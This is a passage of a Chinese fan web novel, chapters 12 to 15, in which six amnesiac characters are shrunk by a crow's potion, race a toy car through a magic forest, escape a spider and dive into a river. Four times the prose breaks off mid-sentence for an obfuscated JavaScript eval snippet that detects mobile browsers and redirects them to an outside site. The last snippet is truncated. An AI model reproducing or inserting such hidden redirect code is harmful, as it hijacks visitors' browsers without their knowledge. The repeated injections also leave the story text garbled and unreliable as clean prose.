“在森林的最深处有一座由仙女大人看守的山,传闻中,在山的顶部,有一个知晓一切的真理之钟。” “据说真理之钟知道所有问题的答案,你们去问真理之钟,应该就能知道回家的路了!” 安罗用爪子指向了山的方向,六人顺着它所指的方向看过去,远远的,确实有一座山的轮廓隐隐约约的被包裹在云雾之中。 不过,山的顶部被更浓厚的云雾挡住了,就这样看过去,并不能看清山顶的情况,以及那所谓的真理之钟,究竟是何种存在。 - 真理之钟?真的假的。 说实话,他们也不是每次都想怀疑安罗说的话,问题是他们本身的认知告诉他们,这种东西原本不应该存在。 但……想想接二连三的不科学现象,感觉在离开这个世界之前,他们需要适当的抛弃以前留下来的一些固有认知,用这个世界的规则来接受看待眼前的一切呢。 半长发青年这样想着,在其他人还在心里将现实与认知对比纠结的时候,他更快地接受了这个世界的种种不科学之处,顺着安罗的话问道:“那我们要如何上山?需要做什么准备吗?” “准备……你们需要一辆车?” 安罗没有去过山上,它不确定地说。 “啊啊!你们准备上山对吗?!让我来说吧!” 维森飞了过来,站在六人面前的树枝上,清了清嗓子:“首先,只有被仙女允许的动物才能获得上下山的资格。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948401|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “所以如果你们想要上山的话,必须要通过仙女的测试才可以!” 半长发青年了然地点头:“那我们现在要接着去拜访仙女对吗?” “不用哦。” 安罗摇摇头。 “仙女一直守在山的入口,等你们去了就知道了。” 明白了。 卷发青年:“那我们走吧。” 他转头看了眼云雾中的山,判断道:“应该一天就能爬完。” 他有点好奇,动物们口中的真理之钟,真的知道所有问题的答案? 那他问几个世界未解之谜,难道真理之钟也能回答他? 卷发青年饶有兴趣地想着。 然而,就在卷发青年在心里整理着到时候要问的问题之时,维森惊讶不已的声音从树枝上传了过来:“一天?!怎么可能这么快。” 维森努力张开翅膀,比了一个它能比划的最大的范围:“那座山可高、可大了!而且我听说,只有真正心怀困惑,想要寻找答案的人,才能找到山顶,看见真理之钟。” “……” 伊达航/娜塔莉:听起来也太像童话故事的剧情了。 半长发青年:真理之钟到底是什么东西呢? 降谷零/诸伏景光:也就是说,就算到了山顶,也不一定能拿到恢复记忆和回家的线索? 沉默片刻,卷发青年又看了一眼那座山,他转头看向维森,问:“你没有去过山顶吗?” 维森:“当然没有。” “但是,你可以直接飞上去吧?” 卷发青年比了个手势,以那座山的高度,一路垂直着往山顶飞,绝对要不了一天就能飞上去吧? “当然不行!” 维森:“那是一座充满了魔法力量的山,这样飞是飞不上去的。” 很好,又是魔法。 卷发青年面无表情地收回手,所以他们就只能按照动物们给出的办法一步一步地往前走,对吧? 不只是他有这样的感觉,其他人也或多或少感觉到了这一点。 说起来,这个世界的魔法究竟是什么样的?他们从开始到现在一直都只是在听动物们说魔法,但还没有亲眼看见过。 “所以,如果你们下定决心一定要去山上寻找真理之钟的话。” 维森收拢翅膀站在枝干上,用暗含自得的语气说:“你们最好开车上山去。” 而整座森林里,当然只有它这里有车啦! 车? 伊达航看向他们刚整理好的那堆东西,他的视线落在摆放在一起的几辆玩具车上,迟疑地说:“维森,你说的,是这个车吗?” 这能开吗?而且他们和玩具车的体型完全不匹配啊! 卷发青年瞥了一眼那些玩具车,他回过头,正好和身边的半长发青年对上了眼神。 这些车……说不定还真能开。 “当然可以启动了!这可是我很喜欢的玩具!” 维森说着,从树上飞了起来,埋头扎进小木屋里,一阵捣鼓之后,从屋子里叼出来了一个装着液体的玻璃瓶子。 像试管一样的玻璃瓶里装着一小管蓝紫色的液体。 “只需要用上我收藏的魔法药水,你们就可以驾驶这些车了!” 12.Chapter12 维森嘀嘀咕咕地说着,六人看着它从小木屋里飞出来,本以为它要把那所谓的魔法药水倒在玩具车上面,却没想到,这只小乌鸦叼着瓶子直直朝他们飞了过来。 六人:? 看着空中的那只乌鸦叼着不明液体准备朝他们撒过来的一瞬间,六个人的身体比脑子还反应得更快,直接四散开来,眨眼间就消失在了原地。 降谷零和诸伏景光最先后撤、半长发青年和卷发青年也向另一个方向侧开了身体,伊达航更是抱着娜塔莉连连后退几步。 他们反应得很快,从试管里朝他们洒出来的蓝紫液体一点也没有溅在六人的身上。 但,接下来,神奇又完全无法想象到一幕却发生了:那些朝地面落去的、本该像普通液体一样落在地面上、接着被土壤吸收的蓝紫色液体,它们溅在地面上时,却并没有被土壤吸收,而是散落成一颗颗的圆珠,从地面上弹了回来。 面对这一幕,六个人顿时有些猝不及防。 这是液体吗?怎么还能回弹的?! 卷发青年无意间瞥见了从地上弹起的“液体”,他眉心一跳,暗道不好,但当他想拉着旁边的人躲开的时候已经晚了。 两颗不大不小的蓝紫色水珠粘在了他和半长发青年的脚腕上。 脚腕上传来了湿润的感觉,卷发青年低头看去,就在他睁眼闭眼的这一刻,世界好像瞬间发生了变化。 不。 不是世界发生了变化。 ——是他变小了。 “哎呀——” 在他变小的一瞬间,他原本抱在怀里的蘑菇盆从空中掉了下来。 听见蘑菇惊慌的声音,卷发青年下意识伸出手,接住了从眼前滑落的蘑菇盆。 等他反应过来的时候,他原本以为自己肯定接不住盆子,或者至少也要骨折。 但——盆子被他轻松的接住了。 手里的重量给他的感觉和他还没有变小前一样,并无任何变化。 卷发青年把盆子轻放在地上,低头看了眼自己,若有所思。 “真的变小了哎。” 他身边,同样被液体溅到的半长发青年惊奇地说。 不止是他们两个人,降谷零和诸伏景光也没能躲过回弹起来的魔法药水水珠,被变成了和安罗差不多的大小。 降谷零握了握手,除了变小了,身体的各方面感觉都好像和以前没什么区别。 他捏紧拳头,手指指尖陷入了手心,带来一丝轻微的痛感,以此昭示着一切的真实性。 只是眨眼的一瞬间,他们就从将近两米高变成了现在不到二十厘米的高度。 这中间甚至没有任何过渡和缓冲。 这就是魔法吗?完全脱离科学的变化。 …… 这边的四人因为没料到药水还能回弹被变小了,而伊达航和娜塔莉这边,却有一点意外。 娜塔莉蹲下来,看着被药水变小的伊达航,担忧地问:“伊达君,你还好吧?身体有感觉不舒服吗?” 因为伊达航当时把娜塔莉护在了怀里,所以弹回来的药水并没有溅到她,全都沾在了伊达航的身上。 得到了“我没事”的回答后,娜塔莉松了口气。 她打量着变得和兔子安罗一样大小的伊达航,眼里忍不住带上了点笑意。 伊达航:…… 这个视角真的好奇怪。 “哎呀,你们躲什么?” 罪魁祸首根本不知道六人复杂的心情,刚才看见六个人躲开的时候,维森还差点以为魔法药水要浪费了! 幸好最后还是成功把这六个大块头变小了……不对,还有一个没变小。 娜塔莉蹲在地上,和已经被药水变小的大家对比起来,她显得有些特立独行了。 她看看大家,又看看周围:附近的草地上还有很多滚动着的蓝紫色小水珠。 这个所谓的魔法药水好像完全不会与土壤交融,落在地面上时更像是滚动的玻璃珠。 “这些药水还能用吗?” 娜塔莉想了想,大家都变小了,她也干脆一起变小吧,于是指着地上的药水问维森。 维森:“可以,哎——那个谁,别再碰了!” 它的话晚了一步,卷发青年已经朝着地面上的蓝紫色水珠伸出了双手。 卷发青年原本是想把这颗完全不科学的“水珠”抱起来近距离研究一下,他想着已经变小了,总不至于这药水对他还有作用吧? 但,当他的手碰上水珠的一瞬间,眼前原本只有他一半高的水珠突然在他眼前长大了一倍,他的手也没能抱起水珠,而是毫无阻碍地伸了进去。 没有支撑和发力点,他的身形瞬间不稳起来。 眼看着青年要倒在那颗水珠里,站在旁边的半长发青年眼疾手快地拎着他把人捞了出来。 “……” 卷发青年面无表情地抹了把脸,此时他双脚悬空,被半长发青年单手拎在空中——没错,他又变小了。 这药水怎么还能让他继续变小的!他现在只有其他人的四分之一大小了! “都说了,没有调查清楚之前不要随便行动。” 降谷零走了过来,看着半长发青年手里还没他腰高的卷毛,叹了口气,叉着腰说。 怒气正盛的卷发青年:“闭嘴,臭金毛。” 降谷零:“……金毛是什么鬼称呼?臭卷毛!” 卷发青年:“臭金毛。” “咳、咳咳。” 半长发青年拎着手里一脸暴躁不满的卷发青年,另一只手捂着嘴剧烈地咳嗽了几声,打断了快要吵起来的两人。 他问维森:“维森,他还能变回我们的大小吗?” 虽然这么小很方便携带(?),但是对本人来说还是很不方便吧! “幸好我还有药水……” 维森飞进小木屋里,又叼了一瓶魔法药水出来:“喏,这是变大药水。” 一番折腾之后,六人终于都变成了和安罗差不多的大小。 卷发青年面无表情地站在原地,半长发青年把手搭在他的肩膀上,看着维森叼着变大药水朝地上那些玩具车飞了过去,他朝对方喊了一声:“维森酱——我们可以开这些车吗?” 刚才整理的时候,半长发青年就对这些玩具车模型有些爱不释手,他最喜欢的就是其中的一辆白色马自达,如果要开车上山的话,他真的想试试驾驶那辆车的感觉。 发动机启动的声音、风略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960074|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过耳边的声音、轮胎摩擦地面、以及加速漂移的快乐…… 想到这里,半长发青年眨了眨眼,恍然大悟。 他转过头,在卷发青年耳边小声说:“那个,我好像想起来了一点。” 卷发青年:“什么?” 半长发青年信誓旦旦地说:“我对车这么了解,我以前一定是个赛车手!” 卷发青年瞥他一眼,要说了解,他感觉自己也对车辆的构造很熟悉,不过他没什么飙车的兴趣,更多的还是想把车拆掉研究一下。 所以——“我以前是个汽车维修工?” “那你俩还挺互补。” 在旁边听了一耳朵的降谷零插话道:“没准你们就是在修车的时候认识的。” 到现在,大家基本上都能肯定他们彼此认识,而且就像降谷零和诸伏景光一样,卷发青年和半长发青年也总是下意识一起行动。 表面上看上去气息冷漠、不好接近的卷发青年,也从头到尾都没有拒绝过半长发青年的接触。 这两人应该是挺好的朋友。 至于他和那个卷毛……一看就合不来。 肯定不认识。 就算认识也不熟。 卷发青年瞥了降谷零一眼,没说话。 虽然他觉得自己不是修汽车的,但也没否认对方说他和半长发青年认识这件事。 谁会知道呢?在看见对方的第一眼时、当半长发青年从河里跳起来、睁开眼,绛紫色的下垂眼看着他露出灿烂的笑容时,他那看似冷酷又波澜不惊的靛青色眼眸之下,藏着多么复杂的情绪。 其实他不是会一味的根据直觉行动的人。 不然半长发青年当时根本不可能还能活泼地从河里跳起来:因为看见对方的第一眼,他真的很想冲过去拽着对方的领子把人拉起来,然后质问对方—— 虽然他也不知道自己想质问什么。 不过,等恢复记忆了,再做他一开始想做的事,也不迟。 反正人就在这里,也跑不掉。 感受到肩膀上传来的体温和重量,卷发青年转头,靛青色的眼眸看了半长发青年一眼。 半长发青年:…… 不知道为什么,卷发青年的眼神明明很平静,但他却感觉有一种要大难临头的感觉。 他抬起手,咳嗽了一声,然后转身就走。 “我去看看那些车……” 半长发青年向维森走去,因为他们已经变小了,原本在他们看来小小一只的乌鸦突然变成了和他们差不多大的大小。 变大药水被维森放在脚边,乌鸦歪头看向了走过来的半长发青年,黑色的眼珠里倒映着青年的面容。 维森:“你们决定好了,要前往山上找寻真理之钟了吗?” 半长发青年没有回答这个问题,而是反问道:“这个世界除了这片森林和那座山,森林之外还有什么吗?” 维森似乎完全没考虑过这个问题,它站在原地发呆了几秒,然后非常困惑地说:“什么?世界就是森林啊!” 果然如此啊。 “这样的话。” 半长发青年笑了笑。 “那就拜托维森,给我们一辆可以上山寻找‘真相’的车吧。” 13.Chapter13 维森没有听懂半长发青年的问题,但也只是很快就将之抛在了脑后。 因为对它来说,不理解的问题没有理解的必要,它又不是真理之钟,疑问就让它继续疑问下去吧! 对一只小乌鸦来说,最重要的是亮晶晶的东西和——快乐! “我有很多车,可以借给你们一辆帮你们上山。不过……” 维森跳到车顶,不知为何,看向半长发青年的漆黑的豆豆眼里竟透出了一些期待的情绪。 “你们会开车吗?” 半长发青年歪了歪头,他的眼神在心心念念的马自达上转了一圈,毫不犹豫地说:“我觉得我应该会。” 不相信的话他现在就可以上车玩——啊不,给维森酱展示一下他的车技。 半长发青年:要吗要吗? 维森:好啊好啊! 一人一乌鸦对视一眼,不知怎么的就好像突然就对上了脑回路。 “要开始了。” 不远处,靠在树边吃着午餐的安罗和安瑟看见这一幕,安瑟小声嘀咕着。 它都说了,维森很喜欢折腾大家的:之前非要让自己和安罗去帮它开车,还要过那些奇奇怪怪的障碍……它们三个差点被压在车底下出不来! 安瑟:“安罗,开车好难啊。” 安罗点点头,认同道:“对安瑟来说,确实很难呢。” 听见安罗的话,安瑟原本还在晃来晃去的尾巴尖顿时停在了半空。 安瑟难过地说:“安罗好过分——我是不是很笨?” 安罗咬了一口三明治:“只是在说事实而已。安瑟别伤心。” “我们都有自己不擅长的事。只要把不擅长的事,交给擅长的另一个人去做就好了。” 安罗:“这就是同伴的意义啊。” - 也许是因为在天上飞翔时鸟儿们总需要面对各种危险的情景,比如在遭遇突如其来的暴雨或狂风时稳住飞行的身体、尽可能安全的降落,以及在带有敌意的猎鹰袭来时努力躲避保护自己……总而言之,在天上飞行也并不是想象中的那么安全,反而充满了惊险与刺激。 而在习惯了面对这些危险后,身为一只聪明的、喜欢探险的乌鸦,维森也喜欢上了另一项刺激的运动:障碍赛车。 “哎——所以维森酱也会开车吗?” 不知不觉间,半长发青年用上了他觉得很顺口的称呼。 维森:“我不会啦,不过我之前去山上的时候,看见过一群飙车的狼。” 飙车的……狼? 半长发青年眨了眨眼。 事到如今他已经不会再去问狼是怎么开车的这种没有任何意义的问题了,他听见维森对那段经历娓娓道来。 “那是一群以赛车来决定狼王的狼群。” 维森说:“每次选举狼王时,它们会在山上画出一条充满危险的赛道,举行比赛。” 从比赛里活下来并第一个到达终点的狼,就会是狼群的新狼王。 在见过狼群惊险刺激的赛车比赛后,维森就对赛车产生了兴趣,它也很想试一试! 但是,和狼不同,它只有两只翅膀,没有办法驾驶构造复杂的车辆,最开始从山上捡回这些车之后,维森还试着让森林里的动物学习赛车,安罗在尝试之后,差点把在车上的它和安瑟一起甩出去,鸟(蛇)命不保。 “如果你能开车带我在森林里转一圈的话,我就把车借给你们。” 维森强调道:“要用最快的速度!” “哎——最快的速度吗?” 半长发青年的语调又轻又快,他走到马自达面前,拉开车门探身坐了进去。 他对车的了解好像已经是一种本能,青年熟练地检查着车辆,然后他拿起放在副驾驶上的车钥匙,将之插入锁孔,轻轻一拧。 发动机启动的声音响了起来。 站在地上聊天的几个人听见声音,纷纷转头看了过去,就见一道白色的影子如疾风般驶过草地,朝他们冲了过来。 在白色的影子上,维森用爪子抓着车顶的横杆,在飞速流动的空气中展开了自己的翅膀,高兴地发出了几声鸣叫。 就是这个感觉! 与此同时,看着这与记忆有几分重合的一幕,伊达航却眉心一跳。 他下意识地朝后退去,却没注意到站在他身后的卷发青年,两个人顿时撞在了一起。 “伊达?” 卷发青年用手臂挡了一下,伊达航回过神来,有些抱歉地对他笑了笑:“抱歉,刚才在想事情。” 闻言,卷发青年“哦”了一声,靛青色的眼眸安静地盯着看了伊达航了一会儿,伊达航以为他会问些什么,但青年什么也没说就移开了视线。 伊达航暗自松了口气。 他想起的那些记忆、以及他对现状的一些猜测,不是他不想说,而是他觉得现在并不适合说。 至少,也要等他们身边没有其他动物的时候。 伊达航觉得卷发青年应该是看出来了,但对方没问,应该也是有着和他差不多的考虑。 青年看上去随心所欲、冲动行事,但到目前为止,这些也只是表现在一些小事上而已。 伊达航笑了笑。 他遇到了一群很好的同伴。 白色的马自达在草地上高速行驶着,眼看着即将撞上眼前的几人,这辆车却突然以意想不到的速度在原地进行了一个九十度的急刹转弯,稳稳当当地停在了降谷零等人面前,连他们的衣角都没有碰到。 驾驶座的车窗摇了下来,半长发青年冲站在不远处的五个人招了招手:“要一起上车吗?” 卷发青年拉开副驾驶位,坐进去后才随口问了句:“去哪?” 半长发青年对他轻快地眨了下眼睛,说:“维森让我带它去森林里转一圈、兜兜风。” 闻言,降谷零心下一动。 没有指定路线的话,或许可以借着这个机会调查一下这片森林、看看森林外的样子? “去。” 想到这里,降谷零没多犹豫就答应了下来,他转头看向诸伏景光,诸伏景光看了眼笑眯眯的半长发青年,在降谷零询问的眼神中,点了点头。 “我和你们一起去吧。” 虽然诸伏景光感觉这一趟不会那么平静,不过zero要去的话,一起去体验一下也无妨。 “我就不去了。” 伊达航看着青年刚才停车的样子,他就有种不详的直觉,这个开车“转一圈、兜兜风”,肯定不是简单的兜风。 他的记忆零零碎碎,虽然没给他带来强烈的面对死亡的后遗症,但终究还是有一点影响的。 他拒绝了半长发青年的兜风邀请,转头去问站在身边的娜塔莉:“娜塔莉,你要去吗?可能会有点刺激。” 闻言,娜塔莉想了想,她看着站在车顶异常兴奋的乌鸦维森,摇了摇头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970714|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她并不是一个喜欢刺激的人。 “大个子,我也要去!” 刚苏醒的蘑菇对一切新鲜的事物都充满了好奇,不过现在的它还是有点太大了,于是它向维森提出了变小的请求。 维森拿出了刚才从地上收集起来的、剩下的变小药水,把蘑菇和盆子一起变成了卷发青年可以抱着的大小。 又抱上蘑菇盆的卷发青年:…… “噗。” 卷发青年转头,看向坐在旁边的半长发青年,眯起眼。 “笑什么?” “没什么,就是小蘑菇要和我们一起去兜风的话,可要坐稳了哦。” 卷发青年看了他一眼:“你喊谁都要加一个后缀吗?” “唔,不好听吗?” 半长发青年歪了歪头。 “zero酱、hiro酱,还有……” 他看着卷发青年,抿了抿唇。 事到如今,只有他们两人还想不起来自己的信息,他甚至不知道该怎么称呼卷发青年。 嗯……其实半长发青年心里有一个称呼,但是他不敢喊。 他怕被揍。 与此同时,刚坐上后座的降谷零沉默了一下。 “zero酱”是什么奇怪的称呼? 诸伏景光沉默片刻,中肯地说:“有点奇怪。” “不是有点,这是什么奇怪的称呼。” 降谷零吐槽道:“你敢对着伊达喊吗?” 伊达酱?小伊达?你喊得出来吗? 半长发青年理直气壮地说:“怎么喊不出来!” 说着他把头探出了车窗,对站在安罗旁边的伊达航挥了挥手,在对方看过来时,就要大声喊出那个称呼。 降谷零和卷发青年眼疾手快地拽住了他,把他拉回了驾驶座上。 卷发青年/降谷零:“开你的车吧!” 半长发青年:“唔、唔唔!” 他拍了拍卷发青年捂着他嘴的手,觉得对方这个动作十分有报仇的嫌疑,毕竟不久前他也这样对待过对方…… 卷发青年:你猜对了。 半长发青年被两个人一起拽了回去,透过车窗看见那辆车内混乱的场景,伊达航抽了抽嘴角,捂住了额头。 “大家都很活泼呢。” 娜塔莉看了看车里的那一幕,又转头看向站在身边扶额的伊达航,她的视线落在伊达航嘴边,忍不住捂着嘴弯起了眉眼。 伊达航转头看她,有些疑惑:“娜塔莉?我脸上有东西吗?” “没有,不过……” 娜塔莉踮起脚,手指放在伊达航嘴边。 虽然是一副很无奈的表情,但伊达航自己却没有发现,他的嘴角始终都是上扬的。 伊达航怔了怔。 他放下捂在额头上的手,就在此时,半长发青年踩下了油门,那辆载着其他人的马自达在他眼前飞了出去。 马自达冲向了茂密的丛林之中,眨眼间就消失了踪影,留在原地的只有白色的尾气和维森兴奋的叫声。 安罗/安瑟盯着马自达消失的地方。 安罗:“原来这就是维森说的飙车啊……好快。” 安瑟用尾巴缠住自己:“好可怕。” 这么快的速度,真的不会被甩下车,然后掉在地上变成一摊蛇肉肉泥吗? 娜塔莉看着那个方向,也陷入了沉默。 这是有一点刺激吗? 14.Chapter14 白色的风冲进了丛林之中。 除了第一次坐车不知道什么是飙车的蘑菇,在坐的卷发青年、降谷零和诸伏景光都对半长发青年的车速早有预料。 车从原地飞出去的时候,每个人脸上的表情都没发生多大的变化,一个比一个淡定。 半长发青年看看后视镜里的两个人,又看看坐在身边的卷发青年,他失落地叹了口气。 哎呀,原本还想看看大家被吓到后是什么表情呢。 结果一个个坐姿端正得像是坐在教室里听老师上课的高中生……下盘力量很不错嘛。 半长发青年轻轻眨了下眼睛,看着横挡在车辆前方的灌木丛,他握着方向盘猛然一个转向,头顶和身边先后传来两道惊呼声——是车顶的乌鸦维森和卷发青年怀里抱着的蘑菇。 嗯,也只有这两个小家伙的表现在告诉他,他的车技没有问题了。 有问题的是这些家伙…… “这、这也太快了!” 蘑菇感觉自己扎在土壤里的根系都要被加速带来的惯性推力拉出土壤了。 卷发青年用手按着它周围的土壤,用毫无起伏的语调说:“下次不要看着新奇就跟上来了。” 蘑菇:“但是真的很刺激啊!” 卷发青年:是刺激,糊了他一脸的土。 青年面无表情地抹了一把脸。 他的墨镜呢? 卷发青年也不知道为什么他会在第一时间想到这个,不过如果有一个墨镜确实会方便许多。 蘑菇:“维森那里应该更有趣吧?”蘑菇听见了从车顶传来的维森高兴的叫声。 可惜它不能固定在车顶,不然它也要去! “……”这么喜欢刺激吗? 和卷发青年的沉默不同,半长发青年闻言,顿时兴致勃勃地说:“小蘑菇,想更刺激一点吗?” 因为车和人都变小了,就算森林里没有一条标准的道路,小巧的白色马自达仍然能像一匹灵活的白马穿梭在茂密的灌木和杂草中。 黑色的轮胎碾过地面上的层层落叶,半长发青年看见视野右边有两个巨大的、交叠着倒在野草中的空心树桩,压在高处的树桩正好与缠绕在斜坡上的巨型藤蔓靠在一起。 半长发青年瞥见那个天然的“山地狭窄赛车道”,眉梢一挑。 于是,在听见蘑菇说不够刺激后,他立刻就转动了方向盘。 车辆以最快的速度冲上了树桩,沿着树桩凹凸不平的树皮行驶过一段距离后,马自达轻松地开到了悬空的巨型藤蔓上。 “哇——” 维森和蘑菇同时惊叹了起来:“你好厉害啊!” 虽然这个高度对会飞的维森来说并不高,但这不是它飞到的高度,而是开车悬空开上来的高度哎! 半长发青年轻笑了一声,他双手握着方向盘,油门始终一踩到底,马自达在他的操控下如履平地般的在这条只比整辆车宽上些许的巨型藤蔓上行驶着。 坐在后座的诸伏景光透过车窗看见车外悬空的场景,就算是早有预料,此时也不由揉了揉眉心。 他侧头看向坐在身边的人,金发深肤的青年单手抵在下颌处,撑着头看着窗外的景色,紫灰色的眼眸带着专注和认真。 诸伏景光张了张嘴,他想说“zero你偶尔也可以放松一下”,但话到嘴边他又有些犹豫,最终还是被诸伏景光咽了下去,化作一声无声的叹息。 他不知道这个让他熟悉无比的青年为什么会时刻紧绷着自己,但他明白对方有一定要这样的原因,他能做的不是阻止对方,而是在适当的时候,让对方能放松一下。 于是,诸伏景光问他:“zero感觉紧张吗?” 听见诸伏景光声音,降谷零收回了看向车窗外的眼神,道:“还好。” 不就是把车开到了悬空的藤蔓上吗? 而且降谷零观察过半长发青年的动作,他能肯定这是一个非常会开车的人,说不定真的是个职业赛车手。 青年不至于拿他们和他自己的生命开玩笑。 不过,如果能把车开出去就好了。 降谷零的视线瞥向窗外,茂密的树木挡住了他向更远处探寻的眼神。 “啊!” 就在降谷零陷入沉思之时,他听见一道惊呼声从车顶传了下来,而他眼角的余光里,飞快地划过了一道棕黑色的影子。 什么东西? “糟糕!” 半长发青年咳嗽了一声,有些歉意地说:“刚才好像把一只小蜘蛛的家撞坏了。” 因为车速太快,等半长发青年注意到有一只蜘蛛在藤蔓上缠着丝建造自己的家时,马自达已经直直地冲着蛛网中心开了过去。 维森抖了抖翅膀,又用鸟喙梳理着羽毛:“好黏的蛛网……” “先别说这个。” 卷发青年瞥了眼后视镜:“房主找上来了。” 闻言,诸伏景光和降谷零转头朝马自达后方看去,果然看见一只棕黑色的蜘蛛正在他们后面的藤蔓上爬行着,看上去打算狠狠教训他们这些拆了自己家的坏人一顿。 降谷零瞧着后面那个跟上来的东西,缓缓说:“小蜘蛛……?” 这蜘蛛已经和现在的他们差不多大了! “对不起,蜘蛛酱!” 半长发青年从打开的车窗里探出脑袋,冲着跟在他们屁股后面的蜘蛛喊了一声:“如果你停下来的话,我们可以帮你重新做一个家的!” 蜘蛛充耳不闻,它的八只眼睛盯着前方正在藤蔓上行驶的马自达,身体下面的八条腿也在飞快地活动着,竟然没有被飞速行驶的马自达抛在后面。 卷发青年若有所思:“它好像不会说话。” 维森:“你们和听不懂话的家伙说什么,小心那家伙追上来把我们都吃了!” 说出这句话的维森显然忘记了自己会飞,就算蜘蛛追上来,被吃掉的也不会是它。 会是他们。 降谷零面无表情地想。 蘑菇好奇地问:“蜘蛛会吃蘑菇吗?” 维森:“你就是个塞牙缝的,先吃我们,再拿你打牙祭。” 蘑菇不确定地说:“可是我好像有毒?” 蘑菇自己也不清楚,毕竟还没有人试着吃过它呢! 怎么这就开始讨论起被吃掉后的问题了? 卷发青年看向后视镜,因为马自达变小了,就算把速度开到了最快,后面那只蜘蛛也轻松地跟了上来。 眼看着他们和对方的距离在逐渐缩短,卷发青年冷静地说:“这样下去不行,想个办法让它不要再追了。” 半长发青年将脚下的油门踩到底,让马自达以最快的速度往前行驶,一边尽量拉开他们和后面那只蜘蛛的距离,一边说:“嗯……这里目前只有一条路。” 他们现在只能开着车沿着这条藤蔓一路往上往前,而且以他们目前距离地面的高度,如果直接把车从藤蔓上开出去,很大概率会一起车毁人亡。 不过,如果有缓冲的话…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970715|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >半长发青年的视线越过车窗,看向远方。 他们距离地面已经有一些高度,但因为变小了的缘故,此时车辆也只是载着他们在森林的中高层行驶着。 嘛,虽然看不清森林的全貌,但—— 看着远处的那条河流,半长发青年扬起了眉眼。 - 追逐不停的蜘蛛、只能向前的车,有些不妙的局势让车里的其他人都陷入了思考之中。 诸伏景光垂眸思索,坐在他旁边的降谷零则是按下了车窗。 一瞬间,猛烈的风从窗口灌了进来,恰巧马自达在此时拐了一个弯,藤蔓两边生长的灌木丛正好从车窗外伸了一根枝丫进来。 车速很快,伸进来的枝丫卡在车窗上,被这股力量直接折断,连带着长在枝干上的浆果也纷纷掉进了车里。 降谷零捡起这根枝丫,他看着这颗之前只有他指盖大小、现在却大了好几倍的浆果,想了想说:“能不能用这个让那只蜘蛛停下来?” 用车速带来的惯性,把具有刺激性味道的浆果砸在蜘蛛的眼睛上,逼退对方。 这个办法确实可行。 “不过——” 坐在前面的卷发青年提出了另一个可能性:“万一那只蜘蛛生气发狂怎么办?” 那BOSS岂不是又上升了一个等级?攻速和移速更快了? 降谷零:“……”这确实也有可能。 “嘛,虽然有这个可能性。” 半长发青年开着车,他目视前方,声音里没有紧张感。 “但你们试试也无所谓。” 闻言,诸伏景光抬起眸,看向驾驶座:“你还有其他的办法吗?” “嗯。” 答应之后,半长发青年想起了什么:“对了,你们都会游泳吧?” 差点忘记问一下了。 得到肯定的回复后,半长发青年示意他们看窗外。 “那里有条河。” 诸伏景光了然道:“你想把车开进河里?可是……” 降谷零朝半长发青年示意的方向看了过去,他从上往下看向那条河所在的方向,辨认了一会儿,突然说:“这是不是之前的那条河?” 那条他们从中苏醒过来、疑似让他们失去记忆的河。 “怎么样?” 半长发青年带着笑意的声音从前面传了过来。 “要试试吗?” 踩下油门,冲出去。 有水流做缓冲,他们既能避开身后那只蜘蛛的追杀、安全的落地。而且,还能顺便去试一试那条河的河水,究竟是不是让他们失忆的真正原因。 如果河水是让他们失忆的元凶,他们再次踏入河中,应该也会失去现在的记忆吧? 卷发青年随意地耸了耸肩,表示自己没有意见。 降谷零和诸伏景光对视了一眼。 这是一个机会,而且他们确实需要验证一下。 目前为止这个世界遇到的一切都超出了他们的想象,到处都充满了未知和迷题。 他们想要找回记忆、找到回家的路,必须要不断探索这些未知,从中摸索出属于他们的路途。 而且,反正现在的记忆不多,再加上同样知道一切的伊达航和娜塔莉正在安全的地方,就算真的失忆了也能转述给他们,那么试试又何妨? 既然如此。 “准备好了吗?” 半长发青年抬起头,绛紫色的眼眸亮得惊人。 那就开始行动吧! 15.Chapter15 “砰——” 安静的森林深处突然传来一道响声。 白色的影子从天而降,砸在了森林里那条正平静向前流淌的河流中央,犹如被砸开的镜面,河面瞬间溅起了一大片水花。 